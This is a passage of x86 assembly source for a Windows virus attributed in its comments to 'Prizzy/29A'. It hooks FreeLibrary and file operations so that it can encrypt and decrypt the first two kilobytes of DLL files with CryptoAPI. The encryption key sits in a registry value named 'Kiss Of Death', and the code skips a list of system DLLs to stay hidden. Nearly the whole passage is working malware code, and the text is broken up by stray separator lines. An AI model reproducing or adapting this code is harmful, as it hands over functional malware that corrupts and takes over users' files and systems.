mov eax,[ebp+crypto_BlobLen]
|
||
call malloc
|
||
mov [ebp+crypto_BlobKey],eax
|
||
|
||
; export key into a simple key blob
|
||
lea eax,[ebp+crypto_BlobLen]
|
||
push eax ;length of simple key
|
||
push [ebp+crypto_BlobKey] ;simple blob key buffer
|
||
push 00000000h
|
||
push 00000001h ;SIMPLEBLOB
|
||
push [ebp+crypto_XchgKey]
|
||
push [ebp+crypto_Key]
|
||
call [ebp+ddCryptExportKey] ;generate simple key
|
||
|
||
; get other registery information
|
||
lea eax,[ebp+crypto_BlobHan]
|
||
mov ecx,80000001h ;HKEY_CURRENT_USER
|
||
lea esi,[ebp+crypto_Register]
|
||
call __regOpen
|
||
jc __cs_dealloc
|
||
|
||
; create binary sub-key "Kiss Of Death" it'll be "SimpleKey"
|
||
push [ebp+crypto_BlobLen] ;size of value
|
||
push [ebp+crypto_BlobKey] ;address of data buffer
|
||
push 00000003h ;REG_BINARY flag
|
||
push 00000000h ;reserved
|
||
lea eax,[ebp+crypto_RegFlag]
|
||
push eax ;name of value
|
||
push [ebp+crypto_BlobHan]
|
||
call [ebp+ddRegSetValueExA] ;update it :)
|
||
or eax,eax
|
||
jnz __cs_dealloc_2
|
||
|
||
__cs_close_reg:
|
||
; close register
|
||
push [ebp+crypto_BlobHan] ;my register handle
|
||
call [ebp+ddRegCloseKey]
|
||
|
||
__cs_close_key:
|
||
; close cryptography key
|
||
push [ebp+crypto_Key] ;my generated key
|
||
call [ebp+ddCryptDestroyKey]
|
||
|
||
__cs_finish:
|
||
mov eax,[ebp+crypto_Provider]
|
||
or eax,eax
|
||
jz __cs_end
|
||
push 00000000h
|
||
push eax
|
||
call [ebp+ddCryptReleaseContext]
|
||
__cs_end:
|
||
ret
|
||
|
||
__cs_fault:
|
||
mov [ebp+crypto_Action],00000001h
|
||
jmp __cs_finish
|
||
|
||
__cs_dealloc:
|
||
mov eax,[ebp+crypto_BlobKey]
|
||
call mdealloc
|
||
mov [ebp+crypto_Action],00000001h
|
||
jmp __cs_close_key
|
||
|
||
__cs_dealloc_2:
|
||
mov eax,[ebp+crypto_BlobKey]
|
||
call mdealloc
|
||
mov [ebp+crypto_Action],00000001h
|
||
jmp __cs_close_reg
|
||
|
||
|
||
;---------------------------------------------------------
|
||
;This function checks whether "Kiss Of Death" exists in
|
||
;"Prizzy/29A" cryptography register-class. All is because
|
||
;of CSP generating public key.
|
||
;
|
||
__csck_regHan dd 00000000h ;register handle
|
||
__csck_regFlag dd 00000000h ;register type flag
|
||
;
|
||
__cs_created_key:
|
||
|
||
; open register folder "Prizzy/29A"
|
||
lea eax,[ebp+__csck_regHan]
|
||
mov ecx,80000001h ;HKEY_CURRENT_USER
|
||
lea esi,[ebp+crypto_Register]
|
||
call __regOpen
|
||
jc __csck_fault
|
||
|
||
; open binary sub-key "Kiss Of Death"
|
||
push 00000000h ;address of data buffer size
|
||
push 00000000h ;address of data buffer
|
||
mov eax,00000003h
|
||
lea ebx,[ebp+__csck_regFlag]
|
||
mov [ebx],eax
|
||
push ebx ;REG_BINARY flag
|
||
push 00000000h ;reserved
|
||
lea eax,[ebp+crypto_RegFlag]
|
||
push eax ;name of value
|
||
push [ebp+__csck_regHan]
|
||
call [ebp+ddRegQueryValueExA]
|
||
or eax,eax
|
||
pushf
|
||
push [ebp+__csck_regHan] ;close register folder
|
||
call [ebp+ddRegCloseKey]
|
||
popf
|
||
jz __csck_fault
|
||
|
||
test al,0F9h ;hidden STC instruction
|
||
__csck_fault equ $-1
|
||
ret
|
||
|
||
;ÄÄÄ´ function to crypt DLL file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function encrypts DLL file by Win32 Crypto functions
|
||
;I will encode only two kilobytes.
|
||
;
|
||
;Behaviour:
|
||
; * load SIMPLE key from reg
|
||
; * read 2008 bytes from DLL to memory
|
||
; * encrypt 1992 bytes
|
||
; * save last eight bytes because when i'll encode next
|
||
; eight bytes, WinAPI rewrite 16 bytes, not 8.
|
||
; * encrypt 8 bytes (in fact, it will be 16 bytes)
|
||
; * calculate CRC64 for that 8 bytes
|
||
; * save CRC64 and that 8 bytes to the end of file
|
||
;
|
||
;
|
||
; input: search_filename ... DLL file name
|
||
;
|
||
__cf_handle dd 00000000h ;library's handle
|
||
__cf_FSize dd 00000000h ;library's file size
|
||
__cf_Memory dd 00000000h ;library's 2Kb body
|
||
__cf_header dw 0000h ;library's signature
|
||
__cf_EncodeSize dd 00000000h ;real encoded size
|
||
__cf_QwordCRC64 dq 00h ;Qword CRC64
|
||
__cf_QWORD dq 00h ;bad WinAPI function
|
||
;
|
||
crypt_file:
|
||
|
||
; don't call this function once again in actual time
|
||
mov dword ptr [ebp+crypto_thread],00000000h
|
||
|
||
; check unCrypted DLLs
|
||
mov ebx,[ebp+filename_ptr]
|
||
call crypt_DLL_check
|
||
jc __cf_finish
|
||
|
||
; check file, I don't wanna risk :) ["E:\XXXX\" directory]
|
||
IFDEF DEBUG
|
||
cmp dword ptr [ebp+filename],'X\:E'
|
||
jnz __cf_finish
|
||
cmp dword ptr [ebp+filename+4],'\XXX'
|
||
jnz __cf_finish
|
||
ENDIF
|
||
|
||
; open DLL file
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __cf_finish
|
||
mov [ebp+__cf_handle],eax
|
||
|
||
; read its signature
|
||
lea edx,[ebp+__cf_header] ;destination place
|
||
mov ecx,00000002h ;bytes to read
|
||
xor esi,esi ;file position
|
||
mov ebx,[ebp+__cf_handle]
|
||
call __MyReadFile
|
||
jc __cf_fClose
|
||
|
||
; check its signature
|
||
cmp word ptr [ebp+__cf_header],'ZM'
|
||
jnz __cf_fClose
|
||
|
||
; get its file size
|
||
mov ebx,[ebp+__cf_handle]
|
||
call __MyGetFileSize
|
||
mov [ebp+__cf_FSize],eax
|
||
|
||
cmp eax,5000 ;lesser then 5Kb ?
|
||
jb __cf_fClose
|
||
|
||
; allocate memory for 2 kilobytes
|
||
mov eax,2008
|
||
call malloc
|
||
mov [ebp+__cf_Memory],eax
|
||
|
||
; read two kilobytes
|
||
mov edx,[ebp+__cf_Memory] ;destination place
|
||
mov ecx,2008 ;number of bytes to read
|
||
xor esi,esi ;file position
|
||
mov ebx,[ebp+__cf_handle] ;file handle
|
||
call __MyReadFile
|
||
jc __cf_dealloc
|
||
|
||
; get PE/NE signature
|
||
mov eax,[ebp+__cf_Memory]
|
||
add eax,[eax.MZ_lfanew]
|
||
cmp word ptr [eax],'EP' ;no PE sign ?
|
||
jnz __cf_dealloc
|
||
|
||
; encrypt 1992 bytes (next 8 bytes will be with last flag)
|
||
mov [ebp+__cf_EncodeSize],1992
|
||
push 2000 ;total bytes to encrypt
|
||
lea eax,[ebp+__cf_EncodeSize]
|
||
push eax ;real encoded size
|
||
push [ebp+__cf_Memory] ;mem address
|
||
push 00000000h ;flags
|
||
push 00000000h ;last block ?
|
||
push 00000000h ;hash
|
||
push [ebp+__clk_hKey] ;imported key
|
||
call [ebp+ddCryptEncrypt]
|
||
or eax,eax
|
||
jz __cf_dealloc
|
||
|
||
; save next two dwords to copro reg
|
||
mov eax,[ebp+__cf_Memory]
|
||
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
|
||
fild qword ptr [eax+000007D0h]
|
||
fistp qword ptr [ebp+__cf_QWORD]
|
||
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
|
||
|
||
; encode next 8 bytes
|
||
mov [ebp+__cf_EncodeSize],8
|
||
push 2000 ;total bytes to encrypt
|
||
lea eax,[ebp+__cf_EncodeSize]
|
||
push eax ;real encoded size
|
||
mov eax,[ebp+__cf_Memory]
|
||
add eax,1992
|
||
push eax ;mem address
|
||
push 00000000h ;flags
|
||
push 00000001h ;last block ?
|
||
push 00000000h ;hash ?
|
||
push [ebp+__clk_hKey] ;imported key
|
||
call [ebp+ddCryptEncrypt]
|
||
or eax,eax
|
||
jz __cf_dealloc
|
||
|
||
; save encypted data, what a dream {:-)
|
||
mov edx,[ebp+__cf_Memory]
|
||
mov ecx,2008 ;number of bytes to write
|
||
xor esi,esi
|
||
mov ebx,[ebp+__cf_handle]
|
||
call __MyWriteFile
|
||
jc __cf_dealloc
|
||
|
||
; get one DWORD from key and lose that value :)
|
||
lea eax,[ebp+__cf_QWORD]
|
||
mov ecx,00000008h ;QWORDs length
|
||
push eax ;buffer position
|
||
mov esi,eax ;start of CRC64 calculating
|
||
call __bruteCRC64 ;wow! get CRC64 for BlobKey
|
||
mov dword ptr [ebp+__cf_QwordCRC64],eax
|
||
mov dword ptr [ebp+__cf_QwordCRC64+00000004h],edx
|
||
pop esi
|
||
xor ebx,ebx
|
||
mov [esi],ebx ;clear that value :)
|
||
|
||
; write replaced QWORD on the end of file
|
||
lea edx,[ebp+__cf_QwordCRC64]
|
||
mov ecx,00000010h
|
||
mov esi,[ebp+__cf_FSize]
|
||
mov ebx,[ebp+__cf_handle]
|
||
call __MyWriteFile
|
||
jc __cf_dealloc
|
||
|
||
__cf_dealloc:
|
||
mov eax,[ebp+__cf_Memory]
|
||
call mdealloc
|
||
__cf_fClose:
|
||
mov ebx,[ebp+__cf_handle]
|
||
call __MyCloseFile
|
||
|
||
__cf_finish:
|
||
jmp __ct_finish ;go back to thread
|
||
|
||
;ÄÄÄ´ function to decrypt DLL file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function decrypts DLL file by WinAPI cryptography f.
|
||
;
|
||
;Behaviour:
|
||
; * load SIMPLE key from registers "Kiss Of Death" key :)
|
||
; * open DLL and read 2008 bytes, check 'MZ' if it's encr.
|
||
; * read 16 bytes, calculate right value by CRC64
|
||
; * decrypt the first part
|
||
; * decrypt the second part of DLL file body
|
||
; * replace de-CRC64 bytes (eight bytes)
|
||
; * truncate files - 16 bytes
|
||
;
|
||
;
|
||
; input: filename_ptr ... DLL file name
|
||
;
|
||
__df_handle dd 00000000h ;library's handle
|
||
__df_header dw 0000h ;library's signature
|
||
__df_FSize dd 00000000h ;library's file size
|
||
__df_memory dd 00000000h ;library's memory
|
||
__df_decSize dd 00000000h ;decode size
|
||
;
|
||
__df_CRC64 dq 00h ;CRC64 of lost qword
|
||
__df_QWORD dq 00h ;WinAPI lost qword
|
||
;
|
||
decrypt_file:
|
||
|
||
; don't call this function once again in actual time
|
||
mov dword ptr [ebp+crypto_thread],00000000h
|
||
|
||
; check unCrypted DLLs
|
||
mov ebx,[ebp+filename_ptr]
|
||
call crypt_DLL_check
|
||
jc __df_finish
|
||
|
||
; check file, I don't wanna risk :) ["E:\XXXX\" directory]
|
||
IFDEF DEBUG
|
||
mov edx,[ebp+filename_ptr]
|
||
cmp dword ptr [edx],'X\:E'
|
||
jnz __df_finish
|
||
cmp dword ptr [edx+00000004h],'\XXX'
|
||
jnz __df_finish
|
||
ENDIF
|
||
|
||
; open DLL file
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __df_finish
|
||
mov [ebp+__df_handle],eax
|
||
|
||
; read two bytes and check whether library is crypted
|
||
lea edx,[ebp+__df_header]
|
||
mov ecx,00000002h ;two bytes to read
|
||
xor esi,esi ;file position
|
||
mov ebx,[ebp+__df_handle]
|
||
call __MyReadFile
|
||
jc __df_finish
|
||
|
||
cmp [ebp+__df_header],'ZM' ;check library signature
|
||
jz __df_fClose
|
||
|
||
; get library file size
|
||
mov ebx,[ebp+__df_handle]
|
||
call __MyGetFileSize
|
||
mov [ebp+__df_FSize],eax
|
||
|
||
cmp eax,5000 ;lesser then 5Kb ?
|
||
jb __df_fClose
|
||
|
||
; load CRC64 and WinAPI lost qword
|
||
lea edx,[ebp+__df_CRC64]
|
||
mov ecx,00000010h
|
||
mov esi,[ebp+__df_FSize] ;filesize
|
||
sub esi,ecx ; - 10h (2*qword)
|
||
mov ebx,[ebp+__df_handle]
|
||
call __MyReadFile
|
||
jc __df_fClose
|
||
|
||
; get real value from CRC64, by "brute-CRC64", i'm perfect !!
|
||
lea esi,[ebp+__df_QWORD] ;input buffer
|
||
mov ecx,00000008h ;lenght of buffer
|
||
mov eax,dword ptr [ebp+__df_CRC64]
|
||
mov edx,dword ptr [ebp+__df_CRC64+00000004h]
|
||
call __get_bruteCRC64
|
||
|
||
; allocate memory for 2Kb
|
||
mov eax,2008
|
||
call malloc
|
||
mov [ebp+__df_memory],eax
|
||
|
||
; read crypted bytes :)
|
||
mov edx,[ebp+__df_memory] ;destination buffer
|
||
mov ecx,2008 ;only 2Kb
|
||
xor esi,esi
|
||
mov ebx,[ebp+__df_handle]
|
||
call __MyReadFile
|
||
jc __df_dealloc
|
||
|
||
; decrypt the first part of DLL's body
|
||
lea eax,[ebp+__df_decSize]
|
||
mov dword ptr [eax],1992 ;number of bytes to decrypt
|
||
push eax
|
||
push [ebp+__df_memory] ;address of buffer
|
||
push 00000000h ;flags
|
||
push 00000000h ;it isn't last block
|
||
push 00000000h ;hash
|
||
push [ebp+__clk_hKey] ;imported key
|
||
call [ebp+ddCryptDecrypt]
|
||
or eax,eax
|
||
jz __df_dealloc
|
||
|
||
; decrypt the second part of DLL's body
|
||
lea eax,[ebp+__df_decSize]
|
||
mov dword ptr [eax],8*2 ;number of bytes to decrypt
|
||
push eax
|
||
mov eax,[ebp+__df_memory]
|
||
add eax,1992
|
||
push eax ;address of buffer
|
||
push 00000000h ;flags
|
||
push 00000001h ;is is last block
|
||
push 00000000h ;hash
|
||
push [ebp+__clk_hKey] ;imported key
|
||
call [ebp+ddCryptDecrypt]
|
||
or eax,eax
|
||
jz __df_dealloc
|
||
|
||
; restore re-written bytes by WinAPI :(
|
||
mov eax,[ebp+__df_memory]
|
||
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
|
||
fild qword ptr [ebp+__df_QWORD]
|
||
fistp qword ptr [eax+2000]
|
||
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
|
||
|
||
; write the first 2008 bytes to DLL :)
|
||
mov edx,[ebp+__df_memory]
|
||
mov ecx,2008
|
||
xor esi,esi
|
||
mov ebx,[ebp+__df_handle]
|
||
call __MyWriteFile
|
||
jc __df_dealloc
|
||
|
||
; truncate last sixteen bytes
|
||
push 00000000h
|
||
push 00000000h
|
||
mov eax,[ebp+__df_FSize]
|
||
sub eax,00000010h
|
||
push eax ;new "End Of File"
|
||
push [ebp+__df_handle]
|
||
call [ebp+ddSetFilePointer]
|
||
cmp eax,-1
|
||
jz __df_dealloc
|
||
|
||
push [ebp+__df_handle] ;truncate last 16 bytes
|
||
call [ebp+ddSetEndOfFile]
|
||
|
||
__df_dealloc:
|
||
mov eax,[ebp+__df_memory]
|
||
call mdealloc
|
||
__df_fClose:
|
||
mov ebx,[ebp+__df_handle]
|
||
call __MyCloseFile
|
||
|
||
__df_finish:
|
||
jmp __ct_finish ;go back to thread
|
||
|
||
;ÄÄÄ´ function to get cryptography key ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function opens register to get SIMPLE key.
|
||
;
|
||
;Behaviour:
|
||
; * open register folder "\...\Cryptography\Prizzy/29A"
|
||
; * read SIMPLE key from "Kiss Of Death"
|
||
; * get CSP and import SIMPLE key by WinAPI functions
|
||
; * close register handle, return ImportedKey handle
|
||
;
|
||
;
|
||
; input: none
|
||
; output: EAX ... imported key (if error, EAX=0)
|
||
;
|
||
__clk_regHan dd 00000000h ;register handle
|
||
__clk_regFlag dd 00000000h ;register flags
|
||
__clk_memory dd 00000000h ;key's memory place
|
||
__clk_sim_len dd 00000000h ;simple key length
|
||
__clk_provider dd 00000000h ;CSP provider
|
||
__clk_hKey dd 00000000h ;imported key
|
||
;
|
||
crypt_loadKey:
|
||
|
||
; don't call this function once again in actual time
|
||
mov dword ptr [ebp+crypto_thread],00000000h
|
||
|
||
; get delta offset
|
||
call get_base_ebp
|
||
|
||
; has key been loaded ?
|
||
cmp dword ptr [ebp+crypto_loadKey],00000000h
|
||
jnz __clk_finish
|
||
|
||
xor eax,eax
|
||
mov [ebp+__clk_hKey],eax
|
||
|
||
; open register folder
|
||
lea eax,[ebp+__clk_regHan]
|
||
mov ecx,80000001h ;HKEY_CURRENT_USER
|
||
lea esi,[ebp+crypto_Register]
|
||
call __regOpen
|
||
jc __clk_finish
|
||
|
||
; allocate memory for SIMPLE key
|
||
mov eax,00000100h
|
||
call malloc
|
||
mov [ebp+__clk_memory],eax
|
||
|
||
; load "Kiss Of Death" item, it is SIMPLE key...
|
||
lea eax,[ebp+__clk_sim_len]
|
||
mov dword ptr [eax],00000100h
|
||
push eax ;address of data buffer size
|
||
push [ebp+__clk_memory] ;address of data buffer
|
||
mov eax,00000003h
|
||
lea ebx,[ebp+__clk_regFlag]
|
||
mov [ebx],eax
|
||
push ebx ;REG_BINARY flag
|
||
push 00000000h ;reserved
|
||
lea eax,[ebp+crypto_RegFlag]
|
||
push eax ;name of value
|
||
push [ebp+__clk_regHan]
|
||
call [ebp+ddRegQueryValueExA]
|
||
or eax,eax
|
||
jnz __clk_close_key
|
||
|
||
; get CPS provider handle
|
||
push 00000000h ;Flags
|
||
push 00000001h ;PROV_RSA_FULL
|
||
push 00000000h ;provider name
|
||
lea eax,[ebp+crypto_KeyName]
|
||
push eax ;my special key
|
||
lea eax,[ebp+__clk_provider]
|
||
push eax ;CSP provider
|
||
call [ebp+ddCryptAcquireContextA]
|
||
or eax,eax ;does key exist ?
|
||
jz __clk_close_key
|
||
|
||
; import SIMPLE key
|
||
lea eax,[ebp+__clk_hKey]
|
||
push eax ;imported key
|
||
push 00000000h ;flags
|
||
push 00000000h
|
||
push [ebp+__clk_sim_len] ;length of SIMPLE key
|
||
push [ebp+__clk_memory] ;SIMPLE key
|
||
push [ebp+__clk_provider]
|
||
call [ebp+ddCryptImportKey]
|
||
|
||
__clk_close_key:
|
||
push [ebp+__clk_regHan]
|
||
call [ebp+ddRegCloseKey]
|
||
__clk_dealloc:
|
||
mov eax,[ebp+__clk_memory]
|
||
call mdealloc
|
||
|
||
mov [ebp+crypto_loadKey],'!A92'
|
||
|
||
__clk_finish:
|
||
mov eax,[ebp+__clk_hKey] ;imported key (0=error)
|
||
jmp __ct_finish ;back to thread
|
||
|
||
;ÄÄÄ´ do NOT crypted DLL checking - name check and registry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function checks whether DLL come under to the avoid
|
||
;table. Heh, what does it mean ? Why some DLLs can NOT be
|
||
;crypted ? Well, I hook all file operations from kernel32
|
||
;memory when I'll be actived but till then system 'll open
|
||
;some libraries like KERNEL32.DLL, USER32.DLL ... and then
|
||
;it is my turn to hook, to check. This is that problem.
|
||
;
|
||
__cdc_regHandle dd 00000000h ;register handle
|
||
__cdc_valuesLen dd 00000000h ;MaxValueLen
|
||
__cdc_values dd 00000000h ;number of values
|
||
__cdc_buffSize dd 00000000h ;buffer size
|
||
__cdc_nRegistry dd 00000000h ;number of r. classes
|
||
__cdc_memory dd 00000000h ;namez
|
||
;
|
||
; input: EBX ... filename
|
||
;
|
||
crypt_DLL_check:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; check from our table
|
||
lea esi,[ebp+crypto_unFiles]
|
||
call validate_name ;is it do NOT crypt file ?
|
||
jc __cdc_failed
|
||
|
||
mov [ebp+__cdc_nRegistry], \
|
||
(crypto_unReg_E - crypto_unReg) / 4 - 1
|
||
|
||
; open registry key
|
||
__cdc_next_class:
|
||
lea eax,[ebp+__cdc_regHandle]
|
||
mov ecx,80000002h ;HKEY_LOCAL_MACHINE
|
||
mov esi,[ebp+__cdc_nRegistry]
|
||
mov esi,dword ptr [ebp+crypto_unReg+esi*04h]
|
||
add esi,ebp
|
||
call __regOpen
|
||
jc __cdc_finish ;failed ?
|
||
|
||
; read number of values
|
||
xor eax,eax
|
||
push eax eax ;LWriteTime, SecDescriptor
|
||
lea edx,[ebp+__cdc_valuesLen]
|
||
push edx eax ;MaxValueLen, MaxValueNameLen
|
||
lea edx,[ebp+__cdc_values]
|
||
push edx eax eax eax eax eax eax
|
||
push [ebp+__cdc_regHandle]
|
||
call [ebp+ddRegQueryInfoKeyA]
|
||
or eax,eax ;failed ?
|
||
jnz __cdc_regClose
|
||
|
||
; allocate memory
|
||
mov eax,[ebp+__cdc_values]
|
||
imul eax,[ebp+__cdc_valuesLen]
|
||
mov [ebp+__cdc_buffSize],eax
|
||
inc eax ;double zero char
|
||
call malloc
|
||
mov [ebp+__cdc_memory],eax
|
||
|
||
; read all namez
|
||
mov esi,[ebp+__cdc_memory] ;pointer to store value name
|
||
__cdc_repeat:
|
||
mov ecx,00000005h ;five layers
|
||
dec dword ptr [ebp+__cdc_values] ;next value index
|
||
__cdc_once_again:
|
||
lea eax,[ebp+__cdc_valuesLen] ;length of value name
|
||
push eax ;buffer's size
|
||
push esi ;value name buffer
|
||
push 00000000h ;type of value entry
|
||
push 00000000h ;reserved
|
||
call $+9
|
||
dd ? ;cbValueName
|
||
push 00000000h ;value name
|
||
push [ebp+__cdc_values] ;index of value to retrieve
|
||
push [ebp+__cdc_regHandle]
|
||
call [ebp+ddRegEnumValueA] ;read index entry
|
||
cmp eax,000000EAh ;ERROR_MORE_DATA
|
||
jnz __cdc_check_next
|
||
loop __cdc_once_again ;try to read that once again
|
||
__cdc_check_next:
|
||
push [ebp+__cdc_valuesLen] ;number of characters
|
||
push esi ;filename
|
||
call [ebp+ddCharUpperBuffA] ;convert to uppercase
|
||
add esi,[ebp+__cdc_valuesLen] ;next entry in memory buf
|
||
cmp dword ptr [ebp+__cdc_values],00000000h
|
||
jnz __cdc_repeat
|
||
mov byte ptr [esi],01h ;end char status
|
||
mov esi,[ebp+__cdc_memory] ;avoid table
|
||
call validate_name ;EBX is filled
|
||
pushf ;ehm :)
|
||
|
||
; close register class
|
||
push [ebp+__cdc_regHandle]
|
||
call [ebp+ddRegCloseKey]
|
||
|
||
; deallocate memory
|
||
mov eax,[ebp+__cdc_memory]
|
||
call mdealloc
|
||
|
||
; next register key
|
||
popf ;ehm :)
|
||
jc __cdc_failed
|
||
cmp dword ptr [ebp+__cdc_nRegistry],00000000h
|
||
jz __cdc_finish
|
||
dec dword ptr [ebp+__cdc_nRegistry]
|
||
jmp __cdc_next_class
|
||
|
||
; restore all registers
|
||
__cdc_finish:
|
||
test al,0F9h ;hidden STC instruction
|
||
__cdc_failed equ $-1
|
||
popa
|
||
ret
|
||
|
||
; close register class
|
||
__cdc_regClose:
|
||
push [ebp+__cdc_regHandle]
|
||
call [ebp+ddRegCloseKey]
|
||
jmp __cdc_finish
|
||
|
||
;ÄÄÄ´ cryptography thread ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This is true Cryptography thread which can run some common
|
||
;functions, because crypto functions allocated memory ain't
|
||
;shared, so I must use this thread.
|
||
;
|
||
; input:
|
||
; crypto_thread ... CT_LOADKEY - crypt_loadKey func
|
||
; ... CT_CRYPTFILE - crypt_file function
|
||
; ... CT_DECRYPTFILE - decrypt_file function
|
||
;
|
||
; output:
|
||
; crypto_thread_err ... lastError flag
|
||
;
|
||
crypt_thread:
|
||
|
||
; save all registers & get delta offset
|
||
pusha
|
||
call get_base_ebp
|
||
|
||
; get thread action
|
||
mov eax,[ebp+crypto_thread]
|
||
cmp eax,CT_LOADKEY ;crypt_loadKey
|
||
jz crypt_loadKey
|
||
cmp eax,CT_CRYPTFILE ;crypt_file
|
||
jz crypt_file
|
||
cmp eax,CT_DECRYPTFILE ;decrypt_file
|
||
jz decrypt_file
|
||
jmp __ct_finish_all ;bad input parameter
|
||
|
||
; set (C)arry and EAX
|
||
__ct_finish:
|
||
mov [ebp+crypto_thread_err],eax
|
||
|
||
; restore all registers
|
||
__ct_finish_all:
|
||
push 2 ;wait for a while
|
||
call [ebp+ddSleep]
|
||
|
||
popa
|
||
jmp crypt_thread
|
||
|
||
;ÄÄÄ´ get FileName of library ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function is called from "FreeLibrary" function. Be-
|
||
;cause FL parameter is place in memory, I have to get its
|
||
;filename to crypt that.
|
||
;
|
||
;Behaviour:
|
||
; * get filename from handle (FreeLibrary parameter)
|
||
; * check DLL name (might I crypt u ?)
|
||
; * run FreeLibrary function (file was closed)
|
||
; * get process where I created "crypto thread"
|
||
; * crypt file (by thread: CT_CRYPTFILE flag)
|
||
; * go back (two ways: success OR failed)
|
||
;
|
||
crypt_get_library:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; get FileName of the module
|
||
push filename_size
|
||
lea eax,[ebp+filename]
|
||
mov [ebp+filename_ptr],eax
|
||
push eax ;input parameter for Free-
|
||
push dword ptr [esp+00000054h] ;Library function
|
||
call [ebp+ddGetModuleFileNameA]
|
||
|
||
; check whether I can crypt that file
|
||
mov ebx,[ebp+filename_ptr]
|
||
call crypt_DLL_check
|
||
|
||
__final_SoftICE_2:
|
||
nop
|
||
nop
|
||
; int 4 ;final SoftICE breakpoint
|
||
|
||
jc __cgl_finish
|
||
|
||
; free library from memory
|
||
popa ;ehm :)
|
||
popf
|
||
popa
|
||
push dword ptr [esp+00000008h]
|
||
mov eax,[esp+00000004h]
|
||
call [eax+1] ;FreeLibrary function, huh?
|
||
pusha
|
||
|
||
; crypt that file
|
||
call get_base_ebp ;damn bug !
|
||
cmp [ebp+crypto_thread_err],'!A92'
|
||
jz __cgl_finish2 ;other process ?
|
||
mov [ebp+crypto_thread],CT_CRYPTFILE
|
||
mov [ebp+crypto_thread_err],'!A92'
|
||
push [ebp+crypto_mainProcId] ;active process where I cre-
|
||
push 00000000h ;ated my thread, I cannot
|
||
push 00000001h ;active my thread from other
|
||
call [ebp+ddOpenProcess] ;process then where was cre-
|
||
push eax ;ated
|
||
__cgl_cCryptFile:
|
||
push 50 ;active crypto thread
|
||
push dword ptr [esp+00000004h]
|
||
call [ebp+ddWaitForSingleObject]
|
||
cmp [ebp+crypto_thread_err],'!A92'
|
||
jz __cgl_cCryptFile ;crypto thread must crypt DLL
|
||
call [ebp+ddCloseHandle]
|
||
|
||
; restore all registers
|
||
__cgl_finish2:
|
||
popa
|
||
add esp,00000004h
|
||
ret 4 ;go back, my lord !
|
||
|
||
__cgl_finish:
|
||
popa
|
||
jmp __hif_finish
|
||
|
||
;ÄÄÄ´ common register functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
__regOpen: ; open certain register class
|
||
; input:
|
||
; EAX ... address of register handle
|
||
; ECX ... reg (HKEY_CURRENT_USER, HKEY_*, ...)
|
||
; ESI ... register class
|
||
; output:
|
||
; (C)flags
|
||
; EAX ... is NOT modified
|
||
;
|
||
|
||
pusha ;save all registers
|
||
push eax ;address of register handle
|
||
push 000F003Fh ;flag: KEY_ALL_ACCESS
|
||
push 00000000h ;reserved
|
||
push esi ;register class
|
||
push ecx ;reg id
|
||
call [ebp+ddRegOpenKeyExA]
|
||
or eax,eax ;fault ?
|
||
popa ;restore registers
|
||
jnz __cReg_fault
|
||
test al,0F9h ;hidden STC instruction
|
||
__cReg_fault equ $-1
|
||
ret
|
||
|
||
;ÄÄÄ´ functions to calculate brute-CRC64 and CRC32 for APIs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function tries to calculate "brute-CRC64" value for
|
||
;certain buffer when the first two valuez won't know. So,
|
||
;I won't generate DWORD because this operation is very
|
||
;difficult for CPU but instead this I'll encode two WORDs.
|
||
;For DLL encrypting i use this method but for PPE-II I'll
|
||
;generate DWORD.
|
||
;
|
||
; input: ESI ... source data
|
||
; ECX ... defined data in buffer ESI
|
||
;
|
||
; output: EAX ... my low "brute-CRC64" value
|
||
; EDX ... my high "brute-CRC64" value
|
||
;
|
||
__bruteCRC64:
|
||
push esi ecx
|
||
add esi,00000002h ;next WORD
|
||
sub ecx,00000002h
|
||
call __bCRC64_calculate
|
||
pop ecx esi
|
||
push eax ;save the 1st "CRC64" value
|
||
call __bCRC64_calculate
|
||
pop edx
|
||
ret
|
||
|
||
__bCRC64_calculate:
|
||
xor edx,edx ;clear registers
|
||
xor ebx,ebx
|
||
xor eax,eax
|
||
__bCRC64_next_byte:
|
||
lodsb ;load next byte
|
||
xor dl,al
|
||
xor bh,dh
|
||
sub ebx,eax
|
||
mov al,8
|
||
__bCRC64_next_bit:
|
||
rcl edx,1 ;set (c)arry ?
|
||
jc __bCRC64_no_changes
|
||
xor edx,0C1A7F39Ah ;ahhh, special valuez
|
||
xor ebx,09C3B248Eh
|
||
xor ebx,edx
|
||
__bCRC64_no_changes:
|
||
dec al ;next bit ?
|
||
jnz __bCRC64_next_bit
|
||
dec ecx
|
||
jnz __bCRC64_next_byte
|
||
xchg eax,ebx ;low value to EAX
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;This function wants to get right value which 's been lost
|
||
;Thru "brute-attack" method.
|
||
;
|
||
